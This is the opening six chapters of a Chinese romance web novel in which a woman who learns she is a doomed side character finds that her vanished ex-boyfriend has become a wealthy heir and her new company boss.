《糟糕!落魄前男友成京圈太子爷了》
第一章 坏消息:这个熟人是消失一年的前男友!
偶然一天,江迟鹿得知自己是一本追妻火葬场中的炮灰女配。
而男主是她谈了三年的男友傅靳年。
女主是他的儿时玩伴兼白月光。
她则是在男主穷困潦倒时狠心抛弃的势利眼女配。
嫌弃男主穷,抛弃了男主,转头和一位富二代在一起。
而男主摇身一变成了京圈太子爷。
她这个恶毒女配,认出京圈太子爷是自己前男友后,想方设法要挽回。
最后蠢事干尽,下场凄惨。
江迟鹿还没来得及远离男女主保命,就悲催地发现——
她刚刚把男主睡了!
她从床上坐起,身边空荡荡的,男人已经离开了。
低头看着胸口残余的暧昧痕迹,她两眼发黑,摸出手机赶紧给傅靳年打电话。
她对突如其来的觉醒尚且没有实感,需要确定一下。
低缓的电话铃声在空荡的房间响起。
“嘟嘟嘟......您拨打的电话已关机.....”她心脏一紧,脑子里闪过一段剧情。
是女主去爬山摔进了坑里,傅靳年冒着大雨去找人,两人还一起在洞里过了一晚。
江迟鹿猛的抬头,酒店落地窗外,正下着大雨,淅淅沥沥。
所以,那段剧情,是今天?
她又拨了一个电话过去,依旧无人接听。
山里没信号,也对上了。
她烦躁的抓了一把头发,“什么意思?”
上一秒在床上跟她颠鸾倒凤呢,下一秒去山洞野生交配?
她气得手指发抖,拉黑了傅某所有联系方式。
接连几天过去,傅靳年一次也没有找过她。
又过了两个月,江迟鹿从朋友嘴里得知,傅靳年出国留学了。
他从她的世界彻底消失了。
……
一年后。
江迟鹿看向车窗外的顶级豪华大酒店。
手机消息提示音响起。
她低头,是闺蜜棠棠发来的消息。
-好闺闺!靠你了,今天势必把我那个莫名其妙冒出来跟我抢家产的大哥给死死勾住!
江迟鹿轻笑,回:
-放心,保证完成任务,穿上你买的战袍,势必凯旋而归!
棠棠:-我没搞到照片,你进去后,身边围着人最多的肯定就是他。
棠棠是家里的小女儿,备受宠爱,直到她爷爷找回了从小丢失的长孙也就是她大哥,顿时天翻地覆,她爷爷要把公司大份股权都给亏欠的大哥。
这才派出江迟鹿勾引她大哥。
江迟鹿下车,踩着高跟鞋走进宴会厅。
迎面遇上一个身穿香槟色礼服长裙的女孩,款式颜色和她身上这件一模一样。
她盯着面前的人出神。
这不是女主苏轻吗!
苏轻,暗恋傅靳年多年,一直默默跟在身后,看着他跟校花谈恋爱,又看着他分手,然后回心转意认定她。
江迟鹿就是那个校花。
她怎么会在这里遇上女主了!
苏轻的朋友凌语看到江迟鹿,一惊,“阿轻,你和她穿一样的裙子诶。”
苏轻有些茫然的开口:“可是,我这条全球就只有两条.....”
她说完,还不忘向江迟鹿提出疑惑,“这是别人送我的,他说另一条被一位英国人买下。”
凌语捂着嘴嘲笑,“现在的假货做的跟真的一样,要不是阿轻懂行,还真看不出呢,怎么,穿假货,钓金龟婿啊?”
苏轻看向旁边的朋友,替江迟鹿解围:“也不能说假货啦,真钱买到的就是真的啦。”
江迟鹿:“你刚刚要不多余说那一嘴,也不用解释这么一句。”
苏轻一愣,“对不起,我......”“
你穿的本来就是假的,还不让人说了。”凌语不屑一笑。
“另一件在英国人那,你长得像英国人吗?还在这装,也不知道你怎么进来的。”
苏轻拉住她,“好了小语,你别生气了。”
苏轻在旁边劝诫,谁知道凌语脾气傲,直接抬手推开苏轻,“我这不是帮你说话吗,你到底站哪边啊。”
意外就发生在这一瞬间,苏轻身体失去平衡往后倒去。
江迟鹿还没反应过来,被她扯着裙子,跟着一起摔。
身后位置刚好是一个服务生推着酒水车过来。
苏轻和江迟鹿先后撞上。
那车上的红酒瓶一个撞一个,噼里啪啦砸在地上,溅起暗红酒花。
苏轻被凌语率先拉开,她抬手指着江迟鹿:“你干什么!”
服务生色憋红,慌张地盯着地上的酒水,“这,这怎么办,这是傅老爷专门叫人拿出来的阿玛菲......一瓶上亿。”
苏轻站在旁边,一听心都提起来了,脚步往后缩了缩。
这时,被动静吸引过来的观众,下意识把目光放在了江迟鹿身上。
“怎么这么不小心,这不是专门来捣乱吗。”
“这下完蛋了,也不知道是哪家的小姐。”
宴会的负责人立即跑过来,眉眼严厉呵斥:“怎么弄的!”
“我好好推着,是这位女士撞了上来才......”服务生把目光放在了江迟鹿身上。
江迟鹿看向躲在人群后的苏轻:“刚刚是你摔的时候,扯着我裙子不放,先砸过去的也是你,你躲什么?”
苏轻眼圈泛红,一句话也说不出来,反倒是她身边的朋友将她护在身后:“你少诬陷人了,穿着假货,撞了东西赔不起,想诬陷给她?”
“什么事?”
一道磁沉冷淡的嗓音骤然响起,带着猝不及防的穿透力,空气瞬间静谧。
江迟鹿浑身的神经几乎是本能地一绷,脊背下意识挺直,那颗原本平稳跳动的心猛地一沉,又倏然往上提,卡在了喉咙口,连呼吸都漏了半拍。
她指尖微蜷,僵硬地抬起眼,视线越过攒动的人影,不远处一道挺拔颀长的身影正缓步走来。
他一身黑色西装,剪裁合体,身姿修长,气质比一年前更成熟稳重了,那份少年气已经褪去,变化挺大。
他身侧簇拥着不少名媛子弟,男男女女,以他为主。
宴会内所有人的目光都下意识追随着他,显然是以他为中心,形成了一个无形的焦点圈。
宴会负责人率先走过去,“傅少爷,给您开彩头的红酒摔碎了......是那位小姐不小心撞上......”
傅.....少爷?
江迟鹿大脑宕机。
缓了一会儿才捋清楚现在的情况。
好消息:闺蜜大哥是她的熟人。
坏消息:这个熟人是消失一年的前男友!
第二章 他就原谅她的不道而别。
江迟鹿怎么也想不到,剧情里所说的男主被豪门认回,这个豪门会是自己闺蜜的门。
她也没想到,自己的富婆闺蜜会富到这个级别。
更没想到!她还要勾引自己的前男友!
江迟鹿指尖发紧,就见他目光淡淡的从自己身上扫过,不留痕迹。
像是把她忘了一样。
在她努力降低自己存在感时,眼见他沉稳的步伐缓缓朝着自己走来。
江迟鹿脑子里瞬间闪过八百部狗血打脸剧情。
【我的女人你也敢碰?】
【天凉了,该让江家破产了。】
【一秒钟,我要这个女人身败名裂。】
傅靳年声音低沉传来,“事情从头到尾说一遍。”
这时,一直躲着的苏轻突然就化作勇者超人现身,站在傅靳年面前,挡住江迟鹿,用那小颤音开口:
“是我和她起了一点冲突,她才不小心撞上去的。”
凌语冷笑了一声,“阿轻你还帮她说话,她刚刚可是要诬陷你,这位小姐,你可能不知道,就算阿轻真的不小心撞碎了,也不会怎么样。”
一句话将苏轻和傅靳年的关系拉得极近。
江迟鹿也怂了,虽然清楚自己没错,但面前的可是光环无限大的女主角。
傅靳年是会叫人把她丢出去,还是叫她给苏轻下跪磕头?
江迟鹿垂着眼皮,透过纤长的睫毛,小心觑着面前的人。
她目光和他又有一瞬间的交汇,一双狭长的眼沉沉盯着她,来不及细究他是何种情绪,她匆匆撇开眼。
傅靳年视线自上而下扫过她,语气淡漠,“你哑巴了?”
江迟鹿倏地抬眼,一双莹润清澈的眼睛愣愣盯着他。
她还有什么好说的,恶毒女配说什么都是狡辩,男主会听吗?
“刚刚是她和她朋友拉拉扯扯,不小心摔倒,摔倒前扯着我裙子,我就跟着摔了,但是东西是她撞到的。”
她低头盯着地上的碎了一地的红酒瓶,呼吸缓缓,等待凌迟。
并在心底警戒自己,要离傅靳年远点,一遇上他就没什么好事。
空气阒寂几秒,面前的人落声了。
“跟上。”他转身往宴会厅的弧形扶梯走。
江迟鹿哆哆嗦嗦跟上他,偶尔听到身后那群人还在嘀咕。
“傅少肯定是让她去赔钱的。”
“这种事还需要傅少亲自去处理?”
“刚那女的不是还欺负苏小姐了吗,当然值得傅少亲自解决。”
凌语挽着苏轻的手,笑容羡慕,“傅靳年对你真好,还亲自帮你收拾人。”
苏轻抿着唇浅浅笑了。
傅靳年步伐不停,带着江迟鹿上二楼,进入走廊尽头的一间休息间。
等他进去,江迟鹿尚且磨蹭在门口,手指捏着门沿摩挲。
傅靳年回头瞥她,语气散漫,“腿又不行了?”
江迟鹿吓了一跳。
一年前那晚,他也说了这话,原因是她才抱怨了腰酸,又抱怨腿软。
他倒是精力旺盛,嘴上哄,却不停。
她抬眼,却见他冷淡疏离,才反应过来今时不同往日。
“傅少,我......没钱。”她含糊着说了一句,把头低下。
她久久没有听到傅靳年的回复。
悄咪咪抬眼去看,被他黑沉沉的眼神盯得一颤。
“我没骗你,银行卡余额,微信余额,支付宝余额我都给你看。”
她说着,刚举起手机。
傅靳年往房间里面走,声线发寒,“进来,门关上。”
他说完,身上的西装外套脱了,垂眼挽着衬衫袖口。
江迟鹿咽了咽口水,要把她关小黑屋惩诫了吗。
她手有些哆嗦,磨蹭着慢慢关门,盯着外面两个胸肌比她头还大的保镖,默默收了逃跑的心思。
咔哒,门关上,她转头看过去。
见他从里间拎着医药箱出来。
江迟鹿腿都吓软了,背脊紧贴在门上。
这连事后药都准备好了。
怎么?要揍人,不能揍死,纯折磨?
她眼睁睁看着他将医药箱放在桌上打开,空气安静得只听得到他窸窣找药瓶的声。
那双骨节匀称的手,捏着药瓶,犹如捏着一把刀在磨。
她感觉心脏被人捏住了,语气发颤:“要不我自己来吧......”
傅靳年捏着药瓶一顿,放在桌上,侧眸看一眼她,下颌轻点。
江迟鹿睫毛颤了下,走过去心思百转千回,从自己的头想到脚,她真是一个都舍不得打。
她尝试和傅靳年沟通。
“傅少,我知道你很生气我让你的心肝受委屈了,但是你看,她也没什么事,我跟你保证,你放我离开,我以后绝对再也不出现在你们面前碍眼。”
她垂着眼,自顾自说完,却感觉空气更加低压,冰冷。
一道胶着带着凝视的视线落在她身上。
“再也不出现......”他抬步,一步一步朝她靠近,嗓音沉沉的,带着一丝暗哑,“你要去哪?”
“傅少,我懂,我都懂,我连夜出国,从此京城查无此人。”
她着急说完,又补充,“或者,你想要我去哪?”
在空气胶着时,突然,他喊出她的名字。
“江迟鹿。”
江迟鹿身形一僵。
他还....记得自己啊。
“你来这是为了什么?”傅靳年克制着胸口一腔闷气,垂下的手指微微蜷缩。
只要她说是为了他,他就原谅她。
第三章 “今天换地方钓金龟婿了?”
江迟鹿纤薄的背脊挺得僵硬,压着声音,小声道,“我,我来钓金龟婿。”
气压瞬间骤降到极限,他指间转着药瓶的盖子,他嗓音低而沉,冷得没有一丝温度,“哦,哪个金龟婿,有多金?”
江迟鹿自然不敢说就是他,随口道:
“都,都行。”
她嘟囔,“能进来这里的,不都很金么......”
都行.....
他狭长深邃的眼睛低睨在她身上。
‘砰’地一声,什么东西压在桌上,他拎起床上的外套。
江迟鹿低着头,听着沉沉的脚步声。
随即又是‘砰’地一声,带着狠气,房门掠过一阵风,凉凉的扫过江迟鹿的面庞。
她肩膀一缩,眼睫颤动,往门口一看,门关上,男人已经走了。
陡然吐出一口气,她弯腰摸着床尾轻轻坐下。
一抬眼,她看到桌上拧开瓶盖的药,“......外用冻干凝血酶粉末。”
她低头,看到自己脚踝处不知何时的划伤。
心情顿时有些微妙。
出了酒店,江迟鹿带着信息过载的脑袋,回到闺蜜傅今棠的公寓。
“宝贝——”
傅今棠一把上去抱住了人,手指勾着她下巴,“如何,他有没有被你这张脸勾得神魂颠倒。”
“他有没有神魂颠倒我不知道,我已经被吓得神魂颠倒了。”
她握住傅今棠双肩,语气激烈:
“你也没跟我说你家是京城傅家啊!”
“你坑死我了,家族财产你自己夺吧!”
“还有,你千万不要和你哥说你认识我,这事我上不了!”
“我实习面试刚过,我就是一个小蚂蚁,你叫我去勾引大象?我媚眼还没抛出去先被一脚碾死了。”
傅今棠被她掐住肩膀晃得眼都花了,解释道:
“我不跟你说,是因为我跟家里定好了,我不能在外面用傅家的名头,再说我是姓傅还是姓什么有区别?我俩玩这么久,你没问过我家世,我也没问过你,我们依旧是朋友不是吗。”
确实是这样,江迟鹿只知道她家有钱,但是她也没想过会是那么大一个豪门世家。
“宴会上发生什么了?”傅今棠看着她一脸惊恐的样,“我那个才回国的哥,有这么吓人?长得像大象?不应该啊我们家基因挺好的啊。”
江迟鹿不想自己再参与进去,她没多说,只再三跟傅今棠交代,“总之,你千万别跟你哥说我们认识。”
她自然也不敢告诉傅今棠,她那个哥就是自己之前跟她夜间吐槽提到过的前任哥。
江迟鹿打开微信,赶紧买票跑吧。
一看钱包余额——28.80
“叮”,手机屏幕上方弹出消息。
爱某艺黄金vip会员包月自动续费扣费——25.00
“......”
江迟鹿冷静下来仔细想了想。
京城这么大,宴会上能遇到那一次,是因为傅今棠撮合她去,两人阶级也不一样,她就不信还能遇到?
而且她做了很多努力,才过了启恒的五轮面试,叫她辞职放弃,还真舍不得。
一番思索下来,江迟鹿决定赌一把。
然而第二天上午。
江迟鹿抱着方案,一推开会客室大门,就看到傅靳年微垂的冷脸。
她恨不得扇昨晚的自己八百巴掌。
还赌一把,真以为自己是天选之女啊!
早就听说公司新上任的总裁是国外刚回来的。
可没人告诉她是傅靳年啊。
坐在傅靳年对面的是这次合作方宏福企业的CEO周衍,两人中间摆放着茶具,一位穿着职业裙装的助理正在斟茶。
江迟鹿硬着头皮走进去,“傅总......”
她微微点头,又看向另一边,“周总好。”
江迟鹿始终低着头,打完招呼就翻开方案文件,一心只想赶紧向两人汇报完进度,并未留意到周衍目光触及她那张脸时,颇带深意地朝傅靳年挑了下眉。
江迟鹿硬着嗓子,顺溜地汇报完项目进度,抿着唇,等待傅靳年快点叫自己下去。
等啊等,没等到。
两人交谈,周衍时不时抽问江迟鹿几句,前面还都是和项目相关的事,问到后面,变了味,“平时也是你向你们傅总汇报?”
“不是......是组长。”
只是今天他处理另一件事去了,这事左推右推没人来,就叫她上了。
“哦~”
周衍嘴角勾着笑,看向傅靳年,“傅总,最近很有乐趣啊。”
他说完,被傅靳年冷盯了一眼,起身拢了拢西装,“行,我不碍眼了。”
周衍离开后,会议室内只剩下她和傅靳年。
“那,傅总,我先下去了。”
她说完要转身。
“等等。”
江迟鹿身体一片僵硬,站在那不动。
“今天换地方钓金龟婿了?”
他没什么风度,几乎是刻薄地侮辱人。
江迟鹿装傻,啊了一声。
听到一记似冷嘲的轻笑,“你不仅哑巴,腿不行,现在耳朵也不行了?”
“那我说什么呢?说我就是来钓金龟婿的?这里谁金得过您。”
江迟鹿是没招了,等死。
“要钓我?”他压低的音色带着隐隐的淡笑,又似薄怒,“你觉得我还会上你的当?”
上她的当?
江迟鹿也怒了。
她怎么就让他上当了,被骗的难道不是她?
是谁睡了一觉就找不到人?
是谁默不作声出国?
这时,姜助理从外面进来,“傅总。”
他手上抱着文件递过去,“这是文达交上来的收购总方案,您跟齐总定的电话会议还有十分钟......”
傅靳年接过文件,他目光往下,不经意瞥过她脚踝。
上面贴着创可贴,看起来并不严重。
他起身,从她身边绕过出去。
江迟鹿松一口气,顺利躲过一劫。
她才回到自己的工位,组长走过来,“小江,我刚刚把傅总的微信推给你了,你记得加一下,以后汇报方面的事就交给你了。”
“我?”
她指着自己。
组长点头,转身离开,不容置喙。
江迟鹿头皮发麻,拿出手机,点进组长发来的名片。
她发现傅靳年居然没有换号,这个号当初被自己拉入了黑名单。
她指尖一动,把人又拉了出来。
对面肯定也已经删除她了。
要是偷偷骂他一句,他也不会发现。
盯着那个黑不漆漆的头像,她咬牙。
-狗东西!
点击,发送!
狠狠给自己出了一口窝囊气。
然而她目光一顿——
为什么没有红色感叹号?
傅靳年没拉黑她?
啊,完了。
第四章 她交了新的男朋友。
“狗,东,西——”
男人薄唇阖动,含着几个字翻来覆去,微微眯眼。
床上喊他宝宝,下了床骂狗东西.....
真行啊。
他盯着江迟鹿的头像。
骨节分明的指尖微微发紧,在手机屏幕上缓缓摩挲,犹如那晚摩挲她背脊肌肤一样。
他抿着唇喉结上下滚动,漆黑的眸子颤动。
最终点进去。
看到朋友圈那一栏跳出的几张照片,他缓缓吐出一口气,紧绷的肩颈松弛下去。
再点进去,他一一看过去,往下滑。
眸色一僵。
【你好呀,男朋友】
配图是夜晚,车里,两人握在一起的手,她皮肤白,手指纤细,被一个男人宽大修长的手包裹着,背景里有一束巨大红丝绒玫瑰花。
时间为两个月前,她交了新的男朋友。
新的,男,朋,友!
他眸子转也不转盯着那张照片,喉结重重滚动,呼吸发沉。
“呵。”傅靳年嘴唇扯着个不咸不淡的弧度,似嘲似嫉。
“砰”的一声,手机被他重重放在办公桌上。
他脸上没什么表情,眼睑微垂,睫毛秾长,漫不经心给那条朋友圈点赞。
“嘶。”收到点赞消息的江迟鹿一整个头皮发麻。
两个月前,她答应祁柏言的追求,这段恋爱仅谈了一个月。
两人是和平分手,她并没有删除和他相关的朋友圈。
傅靳年点赞,意思是祝福她吗。
一上午,江迟鹿脑子但凡空闲出来,就会想到傅靳年的点赞。
以至于到食堂用餐时,脑子混沌,并没有注意到大家比平时都安静许多。
她端着餐盘随便找个座位坐下,手机突然弹出消息。
是同事小麦。
【小江啊,你怎么敢坐那的,不冷吗?】
她蹙眉。
还好吧,这里空调开的也不大......
她一个转头,看到隔壁桌的傅靳年,口齿突然哆嗦起来“大大大......”
傅靳年正低头用餐,听到声音,他抬眼朝江迟鹿看去,神色闲散又淡,“什么大?”
江迟鹿语塞。
她百分百打包票,他绝对在搞小涩情。
毕竟上过床,这方面她还是了解的。
“大老板,你也来食堂吃饭啊。”她反应敏捷,笑了笑,“真是令人亲切哈哈。”
江迟鹿扫了一眼四周,以傅靳年为圆心,十米内无人生存。
就她精准踩雷。
傅靳年睨她一眼,指骨敲了一下自己身边的位置。
江迟鹿眸光一跳,撇下了眼神,假装没看懂,她看向另一边,端起餐盘,“小麦......”
身后响起声音,“跑这么快,是觉得我不亲切了吗?”
江迟鹿:“......”
她灰溜溜坐过去,低着头,仿佛挨训的小学生。
“傅总,您有什么要交代我的吗?放心,职责之内,我肯定竭尽全力。”
她这是在提醒他,两人现在的关系是上下级,他只能交代她工作上的事。
“你谈恋爱了?”他嗓音磁沉,透着淡淡的漫不经心,仿佛只是随口一问。
又补充了一句,“我们公司不允许办公室恋爱。”
江迟鹿:“您放心,他自己带团队。”
“比你大很多?”
“还好。”
“还好是大多少?老男人?”
“......不老,就比我大四岁。”
“呵,就?”
“傅总,我们还是不聊我男朋友了吧。”
她不禁想,傅靳年这是在确认自己有了男朋友不会纠缠他了吗?一直问个不停。
她在心底对祁柏言说了一声对不起,暂借一下女朋友身份。
“认识多久?”他又问。
“......从小一起长大的。”
江迟鹿话一出,顿时感觉温度骤降。
她抬眼,面前的男人梳着背头,眉骨优越,鼻挺唇薄,长了一副很薄情的样,此刻脑袋稍侧,眼皮耷拉着,带着某种质问意味凝视着她。
上午初见,他还是一身西装穿得很端正扣子系到第一颗。
这会儿只剩单薄的白衬衫,衬衫解开了两扣。
江迟鹿莫名想到了那晚......
他情动时,喉结会上下滚动,压在她脖颈,那种滚动的弧度十分明显。
想着想着,江迟鹿就脸热了。
傅靳年瞥她一眼,见她想起男友来,脸红得不成样子。
脸色更沉了。
他端起餐盘自己滚了。
回到办公室,他扣好扣子,穿上西装外套,一丝不苟。
眸光扫向办公室的镜子,盯着镜子里的自己,他给周衍发消息:
-你今天来见我,觉得我怎么样。
周衍:
-你疯了?我不接受兄弟自荐。
傅靳年:
-你把脑子卖了?.....我是说,我难道变丑了吗?
不然她怎么那么冷漠,明明以前看到他就两眼放光。
她还迷恋他的身体,第一次是她提的。
周衍很久没回复他,傅靳年发了个问号。
发现自己被拉黑了。
同时,邮箱发来一条消息。
周衍:
-md,最讨厌来我跟前炫耀的人,看在你这次帮我忙的份上,只拉黑你一天。
傅靳年:“......”
下午,傅靳年需要去见麓言团队的负责人。
启恒与周家的宏福博物馆合作,专门研发3DS游戏机为载体提供语音导览服务。
目前在眼球追踪技术上处于薄弱状态。
而麓言团队曾经和国外游戏合作过,在技术方面遥遥领先。
麓言团队的主负责人一直拒绝合作,他需要亲自去一趟。
他按下转接电话,“姜则,让江迟鹿准备一下,跟我去见麓言团队。”
挂断电话,他点开手机,目光又在那张照片上盯着。
从小一起长大的......
比认识他还要早......
会是谁?
他回想曾经在江迟鹿身边见过的异性。
第五章 “祁总有女朋友了吗?”
一直到酒店会议室,傅靳年见到麓言团队的负责人时,也没有在回忆里找到江迟鹿身边大她四岁的异性。
琐事暂且被他放在一边,面对眼前工作能力出色的学术带头人,即便多次被拒,他依旧表现出尊重。
“你好,我是启恒公司的总裁,负责整体业务,很高兴能与你当面沟通。”
对面也很快伸手,自我介绍,“我是麓言团队负责人祁柏言,很荣幸亲自与你洽谈合作。”
他说完,目光微妙地看向傅靳年身后的江迟鹿。
江迟鹿呆愣在一旁,还没回过神。
什么情况?
前男友要和她的前前男友合作?
“这位是技术研发组的,可以跟你对接项目进展。”傅靳年偏头看向身边的人。
见他呆呆望着眼前的人,眸子沉下来,脸色一黑。
她是看到个帅哥就走不动道了,这个也要追吗。
“你好。“祁柏言主动伸手,“请问怎么称呼。”
江迟鹿反应过来,立即伸手,“江迟鹿。”
原本她还在想是该和傅靳年坦白已经分手,还是和祁柏言演一场戏。
两者都不太好,坦白分手了,可能又要被拉进男女主的戏份当感情助推剂,和祁柏言扮演男女朋友,也不太好。
现在祁柏延假装不认识自己,简直太妙了!
她可以一边和祁柏言正常工作,一边假装自己有男朋友远离男女主戏份。
傅靳年已经做好了无论如何要让对方答应合作的准备。
启恒是傅氏集团旗下的一个分公司,营业收入一直在下降,于是将这烫手山芋派给了他,目的是为了让大家看到他的实力。
而这一次的合作至关重要。
“傅总,我同意这次的技术研发合作。”祁柏言正视着傅靳年,笑了笑,开口道,“不过,我有一个要求,那就是我们需要跟你的技术研发组一起工作,方便及时沟通,协作效率高。”
只是这么简单的要求,傅靳年没有任何疑问就答应了。
他有些意外,“方便问一下,你怎么突然又答应合作了吗。”
祁柏言语气淡然:“我们一直犹豫是因为曾经和大公司合作过,很不愉快,加上最近有自己想做的项目,但是傅总愿意亲自来跟我沟通,我相信你和上一位合伙人不一样,很期待我们的合作。”
祁柏言给出的借口很合理,甚至和傅靳年猜测的拒绝原因一样,他打消了疑问。
合作谈成,两边正要离开,傅靳年手机收到一条消息。
是老爷子拉他进的傅家人的群,他在里面还没说过话。
老爷子说晚上要和苏家人一起吃饭。
傅靳年回复:
-我就不去了,已经约好和合作方一起吃饭。
傅今棠:
-哪个合作方大哥推不了?不会是和女朋友吃饭吧。
傅靳年知道傅家人除了老爷子没有一个人欢迎他回来,傅今棠这句话是在挑拨。
老爷子经常在他面前说起苏家人,什么意思很明显。
傅靳年思索一番,回复了句:
-有合作方,也有女朋友。
这话是故意说给老爷子听的,发出去后,他关上手机。
他叫住祁柏言:“晚上一起吃饭吧。”
他偏头看向江迟鹿:“订餐厅。”
江迟鹿拿着手机麻溜地开始订餐厅,心里却在吐槽,他助理就在旁边,不叫助理非要叫她。
故意折腾人。
江迟鹿订好餐厅,顺手给祁柏言发了一条消息。
-你为什么突然答应合作?
祁柏言的手机叮咚响了一下。
他和傅靳年并肩走着,两人正在谈话,祁柏言拿出手机,微微点头,“不好意思,我回个消息。”
他拿出手机时,傅靳年出于礼貌,特意将目光偏向另一边。
祁柏言解释:
-突然想明白和大公司合作的好处,并且我们那个项目现在想法不成熟,可以往后延期,总要带着团队吃饭。
看着他的解释,到了酒店门口,祁柏言上了自己的车。
她和傅靳年上了同一辆。
一上车,她刚关上副驾驶座的门,听到后座传来声音,“江迟鹿。”
她往后看,“怎么了?”
“你觉得那个祁组长怎么样?”他淡淡睨了眼江迟鹿。
江迟鹿:“挺好的啊,能力很优秀。”
他垂放在膝上的手拿起一旁的平板打开,又以极其不经意的口吻说道:“能力很优秀也不是你能盯着人家花痴的借口。”
“我,我?我花痴?”江迟鹿大脑生锈了一样。
仔仔细细回想了一下,她当时挺惊讶傅靳年说的合作方是祁柏言,就有些愣。
没想到放在傅靳年的眼里居然是花痴。
江迟鹿气笑了,“我没有花痴。”
她从小到大看着那张脸,早就熟悉了习惯了,怎么可能花痴。
而且,要说花痴......她真正花痴过的脸,也就傅靳年这张脸。
傅靳年一句话没说了。
江迟鹿的手机响了一下,她转回去,拿出手机。
是闺蜜发来的消息:
-我的宝贝儿~新工作如何呢。
江迟鹿:
-呵呵,都挺不错的,除了傻屌上司。
棠棠:
-要不要考虑一下勾引我大哥,到时候我们分赃,你直接退休。
江迟鹿盯着大哥两个字,顿时后背起了一层鸡皮疙瘩。
头皮发麻!
-不!我爱工作!就像老鼠爱大米!
-对了,你新工作是哪个公司啊,我看看能不能帮你打个招呼。
-启恒。
刚打出这两个字,江迟鹿很快又删了。
要是让棠棠知道自己和她大哥在一个地方,棠棠恐怕又要利诱她,江迟鹿怕自己抵挡不住诱惑。
索性关上了手机,没回答,傅今棠就知道她在忙工作了。
到餐厅后。
祁柏言跟傅靳年一边用餐一边交谈。
江迟鹿在一旁低着头默默听着。
包间里冷空气足,两位男士穿的衬衫西装,她只穿了一件衬衫,抬手摸了一下胳膊。
突然,两道男生几乎是异口同声对料理台的服务员开口:“帮她拿件披肩吧。”
说完,包间顿时安静,江迟鹿抬头,看到傅靳年正和祁柏言对视。
坐在傅靳年身边的江迟鹿干笑两声,“谢谢傅总,谢谢祁总,看来两位都是十分体贴下属的好老板。”
她微微侧头,有意无意地在观察傅靳年的表情。
男人侧脸是利落的直线条,眉骨高挺,鼻梁窄而直,眼型偏长且眼尾微垂,瞳色偏深棕,眼神平静无波澜,像蒙着一层薄冰。
看不出此刻在想什么。
服务员很快拿了一条披肩过来。
傅靳年说话了,“祁总有女朋友了吗?”
他问了一个私人问题。
第六章 哥,我把我朋友介绍给你!
江迟鹿拿着手机躲在桌子下面,赶紧给祁柏言发消息。
-你说有!我怕他怀疑我们。
祁柏言手机叮咚响了一声。
他往手机屏幕上一瞥,拿起来,对傅靳年笑,“有,这不,出门每隔一会儿就得发消息。”
傅靳年笑了笑,“看来你们感情很好。”
他说完,目光还有意无意地瞥向了江迟鹿。
那眼神里的意思.....就好像在对江迟鹿说——人家有女朋友了。
江迟鹿被他瞥得莫名其妙,她微笑。
这一顿饭吃得够久,傅靳年跟祁柏言还挺契合,聊起工作上的事你一句我一句,像是遇到了伯乐。
而坐在一旁的江迟鹿盯着手机,心里只有一句话——她要下班!
从距离下班时间还有半个小时她就在看了,现在还有五分钟,但是两人似乎还没有停下来的意思。
终于,在距离下班时间还有两分钟的时候,傅靳年主动结束了这次的谈话。
从餐厅出去后,她问傅靳年:“您还回公司吗?”
她得回公司打卡啊,要是傅靳年回去自己还能蹭车。
傅靳年却盯着她,不说话。
江迟鹿感觉空气有点冷,扯着微笑唇,“您要是不回去的话,我就打车回。”
“我会跟他们说一声的,你不用回去打卡。”
江迟鹿虚假的笑容变得明媚,“谢谢傅总,那我下班啦!”
她转身就要逃遁,被傅靳年扯住了后领口。
他身形高大颀长,江迟鹿在他的对比下,原本不矮的人也变得娇小了。
她刚转过身,惊讶地问了一句还有事吗。
傅靳年不紧不慢地松了手,又高冷地插进了兜,很冷地开口:“我怎么不知道你还有个从小一起长大的青梅竹马。”
后四个字颇有些咬牙切齿。
江迟鹿没想到他会问自己这个。
看来他是真的很担心自己对他有什么心思,知道她有男朋友不成,还要确定她是真有个男朋友。
她笑了两下开口,“谈恋爱也不是抄家底,我也不知道......您原来身份这么大。”
谁知道傅靳年听了她这句话,更生气了,“怎么,你后悔了?”
江迟鹿雷达滴滴滴就响了,“没有!您现在高高在上的,您要是天上的云,那我就是土里的小蚯蚓,我哪里敢拱云。”
傅靳年:“......”脑子里居然出现一条江迟鹿在土里拱得脏兮兮,又飞上天拱云....
她想法还是如此清奇。
男人冷嗤一声,“那你可小心别让钓鱼的拿去喂鱼了。”
他说完,手机进了一个电话,是傅家老爷子打来的。
他接通,声音低沉,“喂。”
“靳年,你工作那边忙完了吧。你不想见苏家人,自家妹妹总要见吧,正好今天你妹妹也在,上次家宴她出国了,你们还没见上一面呢。放心,苏家人已经走了,我们等着你呢,快过来吧。”
“......好。”挂了电话,他再回头。
发现某个小蚯蚓已经不见了。
江迟鹿回家后从冰箱拿了瓶可乐,一大包柠檬味薯片,又往胳膊肘夹了包爆汁软糖。
咔嚓开了一罐可乐,她仰头咕噜咕噜喝了一大口,吸了两口气,“这日子怎么过啊!”
干脆辞职吧!
“叮,叮,叮叮叮——”
手机上棠棠疯狂发消息轰炸。
她都没看清快速弹出来的一条又一条消息,赶紧点进去。
棠棠:
-我靠我靠我靠!
-你知道我大哥是谁吗!
-我靠,居然是当初我们学校的那个校草!
-就是之前我俩一起盯着手机花痴的那个校草加学神!
-你上次去没认出来吗?
-你真不勾引一下!?我还以为我大哥丑成什么样子呢,让你看了一面就说不要。
-我的天!绝了,我当初还说他唯一的缺点就是穷,我错了,现在好了,他不穷了,来跟我抢财产了。
江迟鹿关了手机装死。
傅今棠和她多熟啊,她现在下班了,还不回消息,绝对是故意装死。
傅今棠眯了眯眼,心中哼哼两声。
让她来助攻一下,她笑嘻嘻看向傅靳年:
“大哥好不容易回来,晚上我给你开个party好不好?”
她笑嘻嘻的,看向老爷子,“到时候我叫上我好朋友,介绍给大哥认识!”
老爷子见她这么贴心,很满意,“好,靳年啊,你和妹妹多相处相处,她啊从小就上进,身边的朋友也上进,棠棠,你说的那个朋友是不是年纪轻轻就双学位研究生毕业的那个?”
“是啊,她之前被渣男骗了,我听她说,那个前男友长得很帅,但是就是不要她公开他们的关系,我当时就觉得不对劲,正经人谁会藏着掖着谈恋爱?呵呵,果然是个渣男,出轨了,脚踏两条船,长得好看又有什么用?”
傅今棠吐槽着,一边看向傅靳年:“俗话说肥水不流外人田,哥,我把我朋友介绍给你!”
傅靳年心里还在想傅今棠刚刚那句话。
不公开恋爱关系。
跟江迟鹿谈恋爱的时候,因为特殊情况他也是这么要求的。
又想到助理说的江迟鹿和傅今棠是同学。
不会是.....
不可能。
唐棠说的那个渣男出轨加脚踏两条船,不是他。
傅靳年撩眼,对上自己亲妹妹笑眯眯的眼睛。
“不用了,晚上我还有事情要处理。”他态度有点冷。
傅今棠笑容反而更加灿烂了,“好啊,我现在就给我朋友发消息。”
